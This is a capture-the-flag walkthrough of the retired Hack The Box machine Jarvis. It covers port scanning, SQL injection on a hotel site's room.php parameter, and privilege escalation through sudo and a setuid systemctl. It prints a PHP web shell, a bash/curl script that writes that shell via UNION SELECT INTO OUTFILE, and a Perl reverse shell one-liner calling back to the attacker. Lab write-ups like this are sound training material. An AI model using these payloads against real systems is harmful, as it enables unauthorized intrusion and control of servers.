This post documents the complete walkthrough of Jarvis, a retired vulnerable VM created by manulqwerty and Ghostpp7, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Jarvis is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.143 --rate=1000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-06-23 07:52:38 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.143
Discovered open port 64999/tcp on 10.10.10.143
Discovered open port 80/tcp on 10.10.10.143

Port 64999/tcp sure looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80,64999 -A --reason -oN nmap.txt 10.10.10.143
...
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).

Stark Hotel? I’m sensing an Iron-Man theme here. :laughing: It appears that 64999/tcp is also a http service. Here’s how both of them looks like.

80/tcp

64999/tcp

Hmm. Some kind of anti-bruteforce mechanism is in place.

SQL Injection in cod

It wasn’t long before I found a page that may possibly be susceptible to SQL injection.

I made a guess—the database could be MySQL.

# sqlmap -u http://supersecurehotel.htb/room.php?cod=1 --dbms=mysql --batch

Bingo!

Armed with that insight, I could write/inject a PHP file to /images directory of the Apache default installation. This directory is almost certain to be writable by www-data. The PHP file is simple.

<?php echo shell_exec($_GET[0]); ?>

Towards that end, I wrote a bash injector of sorts using curl as the main driver.

room
#!/bin/bash

HOST=supersecurehotel.htb
ROOM="room.php?cod="
COOKIE=$(mktemp -u)

if [ -z "$1" ]; then
  SQLI=$(urlencode "-1 UNION ALL SELECT 1,2,'<?php echo shell_exec(\$_GET[0]); ?>',4,5,6,7 INTO OUTFILE '/var/www/html/images/cmd.php'-- qwerty")
else
  SQLI=$(urlencode "-1 UNION ALL SELECT 1,2,$1,4,5,6,7-- qwerty")
fi

curl -s \
     -c $COOKIE \
     -o /dev/null \
     http://$HOST/

curl -s \
     -b $COOKIE \
     "http://$HOST/${ROOM}${SQLI}" \
| sed -r '/<span class="price-room">/,/<\/span>/!d' \
| sed -r -e 's/\s+<span class="price-room">//' -e '$d' \
| sed -r 's/<\/span>//'

# clean up
rm -f $COOKIE

Running the script without argument creates cmd.php in /images.

Low-Privilege Shell

Having cmd.php is as good as getting a shell. Let’s run a Perl one-liner reverse shell back to me, like so:

perl -e 'use Socket;$i="10.10.14.163";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Bam.

Privilege Escalation

During enumeration of www-data’s account, I noted that www-data is able to sudo as pepper to run a Python script.

Getting user.txt

Check out the function exec_ping() in simpler.py.

We can easily bypass the filter and get ourselves a shell as pepper. First, we create a reverse shell with msfvenom.

Next, we host the reverse shell with Python’s SimpleHTTPServer module.

# python -m SimpleHTTPServer 80

Finally, let’s download the file.

We need to chmod the file to be executable as well. I’ll leave that as an exercise. Once that’s done, we can run the reverse shell over to us.

On our nc listener, a reverse shell appears…

user.txt is at pepper’s home directory.

Getting root.txt

During enumeration of pepper’s account, I noted a setuid systemctl executable where the group pepper has the right to execute it.

This executable is associated with controlling systemd services. I guess I have to create my own service. :triumph:

Next, symlink /etc/systemd/system/aaa.service to /tmp/aaa.service.

Start the service systemctl start aaa and profit!

Sweet. Retrieving root.txt is trivial with a root shell.

:dancer: